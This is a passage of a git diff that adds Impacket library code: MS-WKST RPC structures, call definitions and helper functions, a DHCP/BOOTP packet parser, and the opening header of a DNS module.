+        ('Buffer', WCHAR_ARRAY),
+    )
+
+# 2.2.5.18 JOINPR_ENCRYPTED_USER_PASSWORD
+class JOINPR_ENCRYPTED_USER_PASSWORD(NDRSTRUCT):
+    structure = (
+        ('Buffer', '524s=b""'),
+    )
+    def getAlignment(self):
+        return 1
+
+class PJOINPR_ENCRYPTED_USER_PASSWORD(NDRPOINTER):
+    referent = (
+        ('Data', JOINPR_ENCRYPTED_USER_PASSWORD),
+    )
+
+# 2.2.5.19 UNICODE_STRING
+UNICODE_STRING = WSTR
+class PUNICODE_STRING(NDRPOINTER):
+    referent = (
+        ('Data', UNICODE_STRING),
+    )
+
+# 2.2.5.20 NET_COMPUTER_NAME_ARRAY
+class UNICODE_STRING_ARRAY(NDRUniConformantArray):
+    item = RPC_UNICODE_STRING
+
+class PUNICODE_STRING_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', UNICODE_STRING_ARRAY),
+    )
+
+class NET_COMPUTER_NAME_ARRAY(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('ComputerNames', PUNICODE_STRING_ARRAY),
+    )
+
+class PNET_COMPUTER_NAME_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data', NET_COMPUTER_NAME_ARRAY), 
+    )
+
+# 2.2.5.21 USE_INFO_0
+class USE_INFO_0(NDRSTRUCT):
+    structure = (
+        ('ui0_local', LPWSTR),
+        ('ui0_remote', LPWSTR),
+    )
+
+class LPUSE_INFO_0(NDRPOINTER):
+    referent = (
+        ('Data', USE_INFO_0),
+    )
+
+# 2.2.5.22 USE_INFO_1
+class USE_INFO_1(NDRSTRUCT):
+    structure = (
+        ('ui1_local', LPWSTR),
+        ('ui1_remote', LPWSTR),
+        ('ui1_password', LPWSTR),
+        ('ui1_status', ULONG),
+        ('ui1_asg_type', ULONG),
+        ('ui1_refcount', ULONG),
+        ('ui1_usecount', ULONG),
+    )
+
+class LPUSE_INFO_1(NDRPOINTER):
+    referent = (
+        ('Data', USE_INFO_1),
+    )
+
+# 2.2.5.23 USE_INFO_2
+class USE_INFO_2(NDRSTRUCT):
+    structure = (
+        ('ui2_useinfo', USE_INFO_1),
+        ('ui2_username', LPWSTR),
+        ('ui2_domainname', LPWSTR),
+    )
+
+class LPUSE_INFO_2(NDRPOINTER):
+    referent = (
+        ('Data', USE_INFO_2),
+    )
+
+# 2.2.5.24 USE_INFO_3
+class USE_INFO_3(NDRSTRUCT):
+    structure = (
+        ('ui3_ui2', USE_INFO_2),
+        ('ui3_flags', ULONG),
+    )
+
+class LPUSE_INFO_3(NDRPOINTER):
+    referent = (
+        ('Data', USE_INFO_3),
+    )
+
+# 2.2.4.2 USE_INFO
+class USE_INFO(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+
+    union = {
+        0: ('UseInfo0', LPUSE_INFO_0),
+        1: ('UseInfo1', LPUSE_INFO_1),
+        2: ('UseInfo2', LPUSE_INFO_2),
+        3: ('UseInfo3', LPUSE_INFO_3),
+    }
+
+# 2.2.5.25 USE_INFO_0_CONTAINER
+class USE_INFO_0_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', LPUSE_INFO_0),
+    )
+
+class LPUSE_INFO_0_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', USE_INFO_0_CONTAINER),
+    )
+
+# 2.2.5.26 USE_INFO_1_CONTAINER
+class USE_INFO_1_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', LPUSE_INFO_1),
+    )
+
+class LPUSE_INFO_1_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', USE_INFO_1_CONTAINER),
+    )
+
+# 2.2.5.27 USE_INFO_2_CONTAINER
+class USE_INFO_2_CONTAINER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', LPUSE_INFO_2),
+    )
+
+class LPUSE_INFO_2_CONTAINER(NDRPOINTER):
+    referent = (
+        ('Data', USE_INFO_2_CONTAINER),
+    )
+
+# 2.2.5.28 USE_ENUM_STRUCT
+class USE_ENUM_UNION(NDRUNION):
+    commonHdr = (
+        ('tag', ULONG),
+    )
+
+    union = {
+        0: ('Level0', LPUSE_INFO_0_CONTAINER),
+        1: ('Level1', LPUSE_INFO_1_CONTAINER),
+        2: ('Level2', LPUSE_INFO_2_CONTAINER),
+    }
+
+class USE_ENUM_STRUCT(NDRSTRUCT):
+    structure = (
+        ('Level', ULONG),
+        ('UseInfo', USE_ENUM_UNION),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+# 3.2.4.1 NetrWkstaGetInfo (Opnum 0)
+class NetrWkstaGetInfo(NDRCALL):
+    opnum = 0
+    structure = (
+       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
+       ('Level', ULONG),
+    )
+
+class NetrWkstaGetInfoResponse(NDRCALL):
+    structure = (
+       ('WkstaInfo',WKSTA_INFO),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.2 NetrWkstaSetInfo (Opnum 1)
+class NetrWkstaSetInfo(NDRCALL):
+    opnum = 1
+    structure = (
+       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
+       ('Level', ULONG),
+       ('WkstaInfo',WKSTA_INFO),
+       ('ErrorParameter',LPULONG),
+    )
+
+class NetrWkstaSetInfoResponse(NDRCALL):
+    structure = (
+       ('ErrorParameter',LPULONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.3 NetrWkstaUserEnum (Opnum 2)
+class NetrWkstaUserEnum(NDRCALL):
+    opnum = 2
+    structure = (
+       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
+       ('UserInfo', WKSTA_USER_ENUM_STRUCT),
+       ('PreferredMaximumLength', ULONG),
+       ('ResumeHandle', LPULONG),
+    )
+
+class NetrWkstaUserEnumResponse(NDRCALL):
+    structure = (
+       ('UserInfo',WKSTA_USER_ENUM_STRUCT),
+       ('TotalEntries',ULONG),
+       ('ResumeHandle',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.4 NetrWkstaTransportEnum (Opnum 5)
+class NetrWkstaTransportEnum(NDRCALL):
+    opnum = 5
+    structure = (
+       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
+       ('TransportInfo', WKSTA_TRANSPORT_ENUM_STRUCT),
+       ('PreferredMaximumLength', ULONG),
+       ('ResumeHandle', LPULONG),
+    )
+
+class NetrWkstaTransportEnumResponse(NDRCALL):
+    structure = (
+       ('TransportInfo',WKSTA_TRANSPORT_ENUM_STRUCT),
+       ('TotalEntries',ULONG),
+       ('ResumeHandle',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.5 NetrWkstaTransportAdd (Opnum 6)
+class NetrWkstaTransportAdd(NDRCALL):
+    opnum = 6
+    structure = (
+       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
+       ('Level', ULONG),
+       ('TransportInfo',WKSTA_TRANSPORT_INFO_0),
+       ('ErrorParameter',LPULONG),
+    )
+
+class NetrWkstaTransportAddResponse(NDRCALL):
+    structure = (
+       ('ErrorParameter',LPULONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.7 NetrUseAdd (Opnum 8)
+class NetrUseAdd(NDRCALL):
+    opnum = 8
+    structure = (
+       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
+       ('Level', ULONG),
+       ('InfoStruct',USE_INFO),
+       ('ErrorParameter',LPULONG),
+    )
+
+class NetrUseAddResponse(NDRCALL):
+    structure = (
+       ('ErrorParameter',LPULONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.8 NetrUseGetInfo (Opnum 9)
+class NetrUseGetInfo(NDRCALL):
+    opnum = 9
+    structure = (
+       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
+       ('UseName', WSTR),
+       ('Level',ULONG),
+    )
+
+class NetrUseGetInfoResponse(NDRCALL):
+    structure = (
+       ('InfoStruct',USE_INFO),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.9 NetrUseDel (Opnum 10)
+class NetrUseDel(NDRCALL):
+    opnum = 10
+    structure = (
+       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
+       ('UseName', WSTR),
+       ('ForceLevel',ULONG),
+    )
+
+class NetrUseDelResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.10 NetrUseEnum (Opnum 11)
+class NetrUseEnum(NDRCALL):
+    opnum = 11
+    structure = (
+       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
+       ('InfoStruct', USE_ENUM_STRUCT),
+       ('PreferredMaximumLength',ULONG),
+       ('ResumeHandle',LPULONG),
+    )
+
+class NetrUseEnumResponse(NDRCALL):
+    structure = (
+       ('InfoStruct',USE_ENUM_STRUCT),
+       ('TotalEntries',ULONG),
+       ('ResumeHandle',LPULONG),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.11 NetrWorkstationStatisticsGet (Opnum 13)
+class NetrWorkstationStatisticsGet(NDRCALL):
+    opnum = 13
+    structure = (
+       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),
+       ('ServiceName', LPWSTR),
+       ('Level',ULONG),
+       ('Options',ULONG),
+    )
+
+class NetrWorkstationStatisticsGetResponse(NDRCALL):
+    structure = (
+       ('Buffer',LPSTAT_WORKSTATION_0),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.12 NetrGetJoinInformation (Opnum 20)
+class NetrGetJoinInformation(NDRCALL):
+    opnum = 20
+    structure = (
+       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
+       ('NameBuffer', LPWSTR),
+    )
+
+class NetrGetJoinInformationResponse(NDRCALL):
+    structure = (
+       ('NameBuffer',LPWSTR),
+       ('BufferType',NETSETUP_JOIN_STATUS),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.13 NetrJoinDomain2 (Opnum 22)
+class NetrJoinDomain2(NDRCALL):
+    opnum = 22
+    structure = (
+       ('ServerName', LPWSTR),
+       ('DomainNameParam', WSTR),
+       ('MachineAccountOU', LPWSTR),
+       ('AccountName', LPWSTR),
+       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('Options', ULONG),
+    )
+
+class NetrJoinDomain2Response(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.14 NetrUnjoinDomain2 (Opnum 23)
+class NetrUnjoinDomain2(NDRCALL):
+    opnum = 23
+    structure = (
+       ('ServerName', LPWSTR),
+       ('AccountName', LPWSTR),
+       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('Options', ULONG),
+    )
+
+class NetrUnjoinDomain2Response(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.15 NetrRenameMachineInDomain2 (Opnum 24)
+class NetrRenameMachineInDomain2(NDRCALL):
+    opnum = 24
+    structure = (
+       ('ServerName', LPWSTR),
+       ('MachineName', LPWSTR),
+       ('AccountName', LPWSTR),
+       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('Options', ULONG),
+    )
+
+class NetrRenameMachineInDomain2Response(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.16 NetrValidateName2 (Opnum 25)
+class NetrValidateName2(NDRCALL):
+    opnum = 25
+    structure = (
+       ('ServerName', LPWSTR),
+       ('NameToValidate', WSTR),
+       ('AccountName', LPWSTR),
+       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('NameType', NETSETUP_NAME_TYPE),
+    )
+
+class NetrValidateName2Response(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.17 NetrGetJoinableOUs2 (Opnum 26)
+class NetrGetJoinableOUs2(NDRCALL):
+    opnum = 26
+    structure = (
+       ('ServerName', LPWSTR),
+       ('DomainNameParam', WSTR),
+       ('AccountName', LPWSTR),
+       ('Password', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('OUCount', ULONG),
+    )
+
+class NetrGetJoinableOUs2Response(NDRCALL):
+    structure = (
+       ('OUCount', LPLONG),
+       ('OUs',PUNICODE_STRING_ARRAY),
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.18 NetrAddAlternateComputerName (Opnum 27)
+class NetrAddAlternateComputerName(NDRCALL):
+    opnum = 27
+    structure = (
+       ('ServerName', LPWSTR),
+       ('AlternateName', LPWSTR),
+       ('DomainAccount', LPWSTR),
+       ('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('Reserved', ULONG),
+    )
+
+class NetrAddAlternateComputerNameResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.19 NetrRemoveAlternateComputerName (Opnum 28)
+class NetrRemoveAlternateComputerName(NDRCALL):
+    opnum = 28
+    structure = (
+       ('ServerName', LPWSTR),
+       ('AlternateName', LPWSTR),
+       ('DomainAccount', LPWSTR),
+       ('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('Reserved', ULONG),
+    )
+
+class NetrRemoveAlternateComputerNameResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.20 NetrSetPrimaryComputerName (Opnum 29)
+class NetrSetPrimaryComputerName(NDRCALL):
+    opnum = 29
+    structure = (
+       ('ServerName', LPWSTR),
+       ('PrimaryName', LPWSTR),
+       ('DomainAccount', LPWSTR),
+       ('EncryptedPassword', PJOINPR_ENCRYPTED_USER_PASSWORD),
+       ('Reserved', ULONG),
+    )
+
+class NetrSetPrimaryComputerNameResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+# 3.2.4.21 NetrEnumerateComputerNames (Opnum 30)
+class NetrEnumerateComputerNames(NDRCALL):
+    opnum = 30
+    structure = (
+       ('ServerName', LPWKSSVC_IMPERSONATE_HANDLE),
+       ('NameType', NET_COMPUTER_NAME_TYPE),
+       ('Reserved', ULONG),
+    )
+
+class NetrEnumerateComputerNamesResponse(NDRCALL):
+    structure = (
+       ('ComputerNames',PNET_COMPUTER_NAME_ARRAY),
+       ('ErrorCode',ULONG),
+    )
+
+################################################################################
+# OPNUMs and their corresponding structures
+################################################################################
+OPNUMS = {
+ 0 : (NetrWkstaGetInfo, NetrWkstaGetInfoResponse),
+ 1 : (NetrWkstaSetInfo, NetrWkstaSetInfoResponse),
+ 2 : (NetrWkstaUserEnum, NetrWkstaUserEnumResponse),
+ 5 : (NetrWkstaTransportEnum, NetrWkstaTransportEnumResponse),
+ 6 : (NetrWkstaTransportAdd, NetrWkstaTransportAddResponse),
+# 7 : (NetrWkstaTransportDel, NetrWkstaTransportDelResponse),
+ 8 : (NetrUseAdd, NetrUseAddResponse),
+ 9 : (NetrUseGetInfo, NetrUseGetInfoResponse),
+10 : (NetrUseDel, NetrUseDelResponse),
+11 : (NetrUseEnum, NetrUseEnumResponse),
+13 : (NetrWorkstationStatisticsGet, NetrWorkstationStatisticsGetResponse),
+20 : (NetrGetJoinInformation, NetrGetJoinInformationResponse),
+22 : (NetrJoinDomain2, NetrJoinDomain2Response),
+23 : (NetrUnjoinDomain2, NetrUnjoinDomain2Response),
+24 : (NetrRenameMachineInDomain2, NetrRenameMachineInDomain2Response),
+25 : (NetrValidateName2, NetrValidateName2Response),
+26 : (NetrGetJoinableOUs2, NetrGetJoinableOUs2Response),
+27 : (NetrAddAlternateComputerName, NetrAddAlternateComputerNameResponse),
+28 : (NetrRemoveAlternateComputerName, NetrRemoveAlternateComputerNameResponse),
+29 : (NetrSetPrimaryComputerName, NetrSetPrimaryComputerNameResponse),
+30 : (NetrEnumerateComputerNames, NetrEnumerateComputerNamesResponse),
+}
+
+################################################################################
+# HELPER FUNCTIONS
+################################################################################
+def checkNullString(string):
+    if string == NULL:
+        return string
+
+    if string[-1:] != '\x00':
+        return string + '\x00'
+    else:
+        return string
+
+def hNetrWkstaGetInfo(dce, level):
+    request = NetrWkstaGetInfo()
+    request['ServerName'] = '\x00'*10
+    request['Level'] = level
+    return dce.request(request)
+
+def hNetrWkstaUserEnum(dce, level, preferredMaximumLength=0xffffffff):
+    request = NetrWkstaUserEnum()
+    request['ServerName'] = '\x00'*10
+    request['UserInfo']['Level'] = level
+    request['UserInfo']['WkstaUserInfo']['tag'] = level
+    request['PreferredMaximumLength'] = preferredMaximumLength
+    return dce.request(request)
+
+def hNetrWkstaTransportEnum(dce, level, resumeHandle = 0, preferredMaximumLength = 0xffffffff):
+    request = NetrWkstaTransportEnum()
+    request['ServerName'] = '\x00'*10
+    request['TransportInfo']['Level'] = level
+    request['TransportInfo']['WkstaTransportInfo']['tag'] = level
+    request['ResumeHandle'] = resumeHandle
+    request['PreferredMaximumLength'] = preferredMaximumLength
+    return dce.request(request)
+
+def hNetrWkstaSetInfo(dce, level, wkstInfo):
+    request = NetrWkstaSetInfo()
+    request['ServerName'] = '\x00'*10
+    request['Level'] = level
+    request['WkstaInfo']['tag'] = level
+    request['WkstaInfo']['WkstaInfo%d'% level] = wkstInfo
+    return dce.request(request)
+
+def hNetrWorkstationStatisticsGet(dce, serviceName, level, options):
+    request = NetrWorkstationStatisticsGet()
+    request['ServerName'] = '\x00'*10
+    request['ServiceName'] = serviceName
+    request['Level'] = level
+    request['Options'] = options
+    return dce.request(request)
+
+def hNetrGetJoinInformation(dce, nameBuffer):
+    request = NetrGetJoinInformation()
+    request['ServerName'] = '\x00'*10
+    request['NameBuffer'] = nameBuffer
+    return dce.request(request)
+
+def hNetrJoinDomain2(dce, domainNameParam, machineAccountOU, accountName, password, options):
+    request = NetrJoinDomain2()
+    request['ServerName'] = '\x00'*10
+    request['DomainNameParam'] = checkNullString(domainNameParam)
+    request['MachineAccountOU'] = checkNullString(machineAccountOU)
+    request['AccountName'] = checkNullString(accountName)
+    if password == NULL:
+        request['Password'] = NULL
+    else:
+        request['Password']['Buffer'] = password
+    request['Options'] = options
+    return dce.request(request)
+
+def hNetrUnjoinDomain2(dce, accountName, password, options):
+    request = NetrUnjoinDomain2()
+    request['ServerName'] = '\x00'*10
+    request['AccountName'] = checkNullString(accountName)
+    if password == NULL:
+        request['Password'] = NULL
+    else:
+        request['Password']['Buffer'] = password
+    request['Options'] = options
+    return dce.request(request)
+
+def hNetrRenameMachineInDomain2(dce, machineName, accountName, password, options):
+    request = NetrRenameMachineInDomain2()
+    request['ServerName'] = '\x00'*10
+    request['MachineName'] = checkNullString(machineName)
+    request['AccountName'] = checkNullString(accountName)
+    if password == NULL:
+        request['Password'] = NULL
+    else:
+        request['Password']['Buffer'] = password
+    request['Options'] = options
+    return dce.request(request)
+
+def hNetrValidateName2(dce, nameToValidate, accountName, password, nameType):
+    request = NetrValidateName2()
+    request['ServerName'] = '\x00'*10
+    request['NameToValidate'] = checkNullString(nameToValidate)
+    request['AccountName'] = checkNullString(accountName)
+    if password == NULL:
+        request['Password'] = NULL
+    else:
+        request['Password']['Buffer'] = password
+    request['NameType'] = nameType
+    return dce.request(request)
+
+def hNetrGetJoinableOUs2(dce, domainNameParam, accountName, password, OUCount):
+    request = NetrGetJoinableOUs2()
+    request['ServerName'] = '\x00'*10
+    request['DomainNameParam'] = checkNullString(domainNameParam)
+    request['AccountName'] = checkNullString(accountName)
+    if password == NULL:
+        request['Password'] = NULL
+    else:
+        request['Password']['Buffer'] = password
+    request['OUCount'] = OUCount
+    return dce.request(request)
+
+def hNetrAddAlternateComputerName(dce, alternateName, domainAccount, encryptedPassword):
+    request = NetrAddAlternateComputerName()
+    request['ServerName'] = '\x00'*10
+    request['AlternateName'] = checkNullString(alternateName)
+    request['DomainAccount'] = checkNullString(domainAccount)
+    if encryptedPassword == NULL:
+        request['EncryptedPassword'] = NULL
+    else:
+        request['EncryptedPassword']['Buffer'] = encryptedPassword
+    return dce.request(request)
+
+def hNetrRemoveAlternateComputerName(dce, alternateName, domainAccount, encryptedPassword):
+    request = NetrRemoveAlternateComputerName()
+    request['ServerName'] = '\x00'*10
+    request['AlternateName'] = checkNullString(alternateName)
+    request['DomainAccount'] = checkNullString(domainAccount)
+    if encryptedPassword == NULL:
+        request['EncryptedPassword'] = NULL
+    else:
+        request['EncryptedPassword']['Buffer'] = encryptedPassword
+    return dce.request(request)
+
+def hNetrSetPrimaryComputerName(dce, primaryName, domainAccount, encryptedPassword):
+    request = NetrSetPrimaryComputerName()
+    request['ServerName'] = '\x00'*10
+    request['PrimaryName'] = checkNullString(primaryName)
+    request['DomainAccount'] = checkNullString(domainAccount)
+    if encryptedPassword == NULL:
+        request['EncryptedPassword'] = NULL
+    else:
+        request['EncryptedPassword']['Buffer'] = encryptedPassword
+    return dce.request(request)
+
+def hNetrEnumerateComputerNames(dce, nameType):
+    request = NetrEnumerateComputerNames()
+    request['ServerName'] = '\x00'*10
+    request['NameType'] = nameType
+    return dce.request(request)
+
+def hNetrUseAdd(dce, level, infoStruct):
+    request = NetrUseAdd()
+    request['ServerName'] = '\x00'*10
+    request['Level'] = level
+    request['InfoStruct']['tag'] = level
+    request['InfoStruct']['UseInfo%d' % level] = infoStruct
+    return dce.request(request)
+
+def hNetrUseEnum(dce, level, resumeHandle = 0, preferredMaximumLength = 0xffffffff):
+    request = NetrUseEnum()
+    request['ServerName'] = '\x00'*10
+    request['InfoStruct']['Level'] = level
+    request['InfoStruct']['UseInfo']['tag'] = level
+    request['InfoStruct']['UseInfo']['Level%d'%level]['Buffer'] = NULL
+    request['PreferredMaximumLength'] = preferredMaximumLength
+    request['ResumeHandle'] = resumeHandle
+    return dce.request(request)
+
+def hNetrUseGetInfo(dce, useName, level):
+    request = NetrUseGetInfo()
+    request['ServerName'] = '\x00'*10
+    request['UseName'] = checkNullString(useName)
+    request['Level'] = level
+    return dce.request(request)
+
+def hNetrUseDel(dce, useName, forceLevel=USE_LOTS_OF_FORCE):
+    request = NetrUseDel()
+    request['ServerName'] = '\x00'*10
+    request['UseName'] = checkNullString(useName)
+    request['ForceLevel'] = forceLevel
+    return dce.request(request)
diff --git a/impacket/dhcp.py b/impacket/dhcp.py
new file mode 100644
index 0000000..5cfb620
--- /dev/null
+++ b/impacket/dhcp.py
@@ -0,0 +1,199 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+from impacket import structure
+from impacket.ImpactPacket import ProtocolPacket
+
+class BootpPacket(ProtocolPacket, structure.Structure):
+    commonHdr = (
+            ('op','b'),
+            ('htype','b=1'),    # 1 = Ether
+            ('hlen','b=len(chaddr)'),
+            ('hops','b=0'),
+            ('xid','!L=0'),
+            ('secs','!H=0'),
+            ('flags','!H=0'),
+            ('ciaddr','!L=0'),
+            ('yiaddr','!L=0'),
+            ('siaddr','!L=0'),
+            ('giaddr','!L=0'),
+            ('_chaddr','16s=chaddr'),
+            ('chaddr','_','_chaddr[:hlen]'),
+            ('sname','64s=""'),
+            ('file','128s=""'))
+
+    def __init__(self, data = None, alignment = 0):
+        structure.Structure.__init__(self, data, alignment)
+
+class DhcpPacket(ProtocolPacket, structure.Structure):
+    # DHCP: https://www.ietf.org/rfc/rfc2131.txt
+    # DHCP Options: https://www.ietf.org/rfc/rfc1533.txt
+    # good list of options: http://www.networksorcery.com/enp/protocol/bootp/options.htm
+    MAGIC_NUMBER = 0x63825363
+    BOOTREQUEST = 1
+    BOOTREPLY   = 2
+
+    DHCPDISCOVER= 1
+    DHCPOFFER   = 2
+    DHCPREQUEST = 3 
+    DHCPDECLINE = 4
+    DHCPACK     = 5
+    DHCPNAK     = 6
+    DHCPRELEASE = 7
+    DHCPINFORM  = 8
+
+    options = {
+        # 3. Vendor Extensions
+        'pad':(0,'_'),
+        'subnet-mask':(1,'!L'),
+        'time-offset':(2,'!L'),
+        'router':(3,'*!L'),
+        'time-server':(4,'*!L'),
+        'name-server':(5,'*!L'),
+        'domain-name-server':(6,'*!L'),
+        'log-server':(7,'*!L'),
+        'cookie-server':(8,'*!L'),
+        'lpr-server':(9,'*!L'),
+        'impress-server':(10,'*!L'),
+        'resource-locator-server':(11,'*!L'),
+        'host-name':(12,':'),
+        'boot-file-size':(13,'!H'),
+        'merit-dump-file':(14,':'),
+        'domain-name':(15,':'),
+        'swap-server':(16,':'),
+        'root-path':(17,':'),
+        'extensions-path':(18,':'),
+
+        # 4. IP Layer Parameters per Host
+        'ip-forwarding':(19,'B'),
+        'non-local-source-routing':(20,'B'),
+        'policy-filter':(21,'*!L'),
+        'maximum-datagram-reassembly-size':(22,'!H'),
+        'default-ip-ttl':(23,'B'),
+        'path-mtu-aging-timeout':(24,'!L'),
+        'path-mtu-plateau-table':(25,'*!H'),
+
+        # 5. IP Layer Parameters per Interface
+        'interface-mtu':(26,'!H'),
+        'all-subnets-are-local':(27,'B'),
+        'broadcast-address':(28,'!L'),
+        'perform-mask-discovery':(29,'B'),
+        'mask-supplier':(30,'B'),
+        'perform-router-discovery':(31,'B'),
+        'router-solicitation-address':(32,'!L'),
+        'static-route':(33,'*!L'),
+
+        # 6. Link Layer Parameters per Interface
+        'trailer-encapsulation':(34,'B'),
+        'arp-cache-timeout':(35,'!L'),
+        'ethernet-encapsulation':(36,'B'),
+
+        # 7. TCP parameters
+        'tcp-default-ttl':(37,'B'),
+        'tcp-keepalive-interval':(38,'!L'),
+        'tcp-keepalive-garbage':(39,'B'),
+
+        # 8. Application and Service parameters
+        'nis-domain':(40,':'),
+        'nis-servers':(41,'*!L'),
+        'ntp-servers':(42,'*!L'),
+        'vendor-specific':(43,':'),
+        'netbios-name-server':(44,'*!L'),
+        'netbios-datagrame-distribution-server':(45,'*!L'),
+        'netbios-node-type':(46,'B'),
+        'netbios-scope':(47,':'),
+        'x11-font-server':(48,'*!L'),
+        'x11-display-manager':(49,'*!L'),
+
+
+        # 9. DHCP Extensions
+        'requested-ip':(50,'!L'),
+        'lease-time':(51,'!L'),
+        'option-overload':(52,'B'),
+        'message-type':(53,'B'),
+        'server-id':(54,'!L'),
+        'parameter-request-list':(55,':'),
+        'message':(56,':'),
+        'maximum-dhcp-message-size':(57,'!H'),
+        'renewal-time':(58,'!L'),
+        'rebinding-time':(59,'!L'),
+        'vendor-class':(60,':'),
+        'client-id':(61,':'),
+
+        # other non-rfc1533 options
+        'slp-directory-agent':(78,':'),           # https://www.ietf.org/rfc/rfc2610.txt
+        'slp-service-scope':(79,':'),             # https://www.ietf.org/rfc/rfc2610.txt
+        'fully-qualified-domain-name':(81,':'),   # https://www.ietf.org/rfc/rfc4702.txt
+        'default-url': (114, ':'),                # text (URL) - not defined in any RFC but assigned by IANA
+        'auto-configuration':(116,'B'),           # https://www.ietf.org/rfc/rfc2563.txt
+        'domain-search-list':(119,':'),           # https://www.ietf.org/rfc/rfc3397.txt
+        'classless-route-121':(121, ':'),         # https://www.ietf.org/rfc/rfc3442.txt
+        'classless-route-249':(249, ':'),         # https://web.archive.org/web/20140205135249/support.microsoft.com/kb/121005
+        'proxy-autoconfig':(252,':'),
+        'eof':(255,'_'),
+    }
+
+    structure = (
+            ('cookie','!L'),
+            ('_options',':=self.packOptions(options)'),
+            ('options','_','self.unpackOptions(_options)'))
+
+    def __init__(self, data = None, alignment = 0):
+        structure.Structure.__init__(self, data, alignment)
+
+    def packOptions(self, options):
+        # options is an array of tuples: ('name',value)
+
+        answer = ''
+        for name, value in options:
+            code,format = self.options[name]
+            val = self.pack(format, value)
+            answer += '%c%c%s' % (code, len(val), val)
+
+        return answer
+
+    def getOptionNameAndFormat(self, optionCode):
+        for k in self.options:
+            code,format = self.options[k]
+            if code == optionCode: return k, format
+        return optionCode, ':'
+
+    def unpackOptions(self, options):
+        # options is a string
+
+        # print '%r' % options
+        answer = []
+        i = 0
+        while i < len(options)-1:
+            name, format = self.getOptionNameAndFormat(ord(options[i]))
+            # size = self.calcUnpackSize(format, options[i+1:])
+            size = ord(options[i+1])
+            # print i, name, format, size
+            value = self.unpack(format, options[i+2:i+2+size])
+            answer.append((name, value))
+            i += 2+size
+
+        return answer
+
+    def unpackParameterRequestList(self, options):
+        return [self.getOptionNameAndFormat(ord(opt))[0] for opt in options]
+
+    def isAskingForProxyAutodiscovery(self):
+        for opt in self.fields['options']:
+            if opt[0] == 'parameter-request-list':
+                for optCode in opt[1]:
+                    if ord(optCode) == 252:
+                        return True
+        return False
+
+    def getOptionValue(self, name):
+        for opt in self.fields['options']:
+            if opt[0] == name:
+                return opt[1]
+        return None
diff --git a/impacket/dns.py b/impacket/dns.py
new file mode 100644
index 0000000..83049ec
--- /dev/null
+++ b/impacket/dns.py
@@ -0,0 +1,574 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   RFCs for the DNS Server service
+#
+#   - 1034 - Domain Names -- Concepts and Facilities [https://www.ietf.org/rfc/rfc1034.txt]
+#   - 1035 - Domain Names -- Implementation and Specification [https://www.ietf.org/rfc/rfc1035.txt]
+#   - 1123 - Requirements for Internet Hosts -- Application and Support [https://www.ietf.org/rfc/rfc1123.txt]
+#   - 1886 - DNS Extensions to Support IP Version 6 [https://www.ietf.org/rfc/rfc1886.txt]
+#   - 1995 - Incremental Zone Transfer in DNS [https://www.ietf.org/rfc/rfc1995.txt]
